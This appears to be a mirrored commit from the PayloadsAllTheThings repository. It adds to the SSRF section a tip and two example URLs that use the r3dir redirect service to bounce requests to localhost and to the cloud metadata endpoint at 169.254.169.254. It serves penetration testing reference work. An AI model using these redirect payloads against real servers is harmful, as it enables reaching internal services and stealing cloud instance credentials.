mirror of
https://github.com/swisskyrepo/PayloadsAllTheThings.git
synced 2024-12-19 19:06:12 +00:00
Update SSRF with redirect examples using r3dir README.md
This commit is contained in:
parent
314e4da963
commit
4cf17a3fab
@ -263,6 +263,16 @@ vulnerable.com will fetch YOUR_SERVER_IP which will redirect to 192.168.0.1
|
||||
3. You can use response codes [307](https://developer.mozilla.org/en-US/docs/Web/HTTP/Status/307) and [308](https://developer.mozilla.org/en-US/docs/Web/HTTP/Status/308) in order to retain HTTP method and body after the redirection.
|
||||
```
|
||||
|
||||
To perform redirects without hosting own redirect server or perform seemless redirect target fuzzing, use https://github.com/Horlad/r3dir which hosted on r3dir.me
|
||||
|
||||
```powershell
|
||||
#Redirects to http://localhost with `307 Temporary Redirect` status code
|
||||
https://307.r3dir.me/--to/?url=http://localhost
|
||||
|
||||
#Redirects to http://169.254.169.254/latest/meta-data/ with `302 Found` status code
|
||||
https://62epax5fhvj3zzmzigyoe5ipkbn7fysllvges3a.302.r3dir.me
|
||||
```
|
||||
|
||||
### Bypassing using type=url
|
||||
|
||||
```powershell
|
||||
|
Loading…
Reference in New Issue
Block a user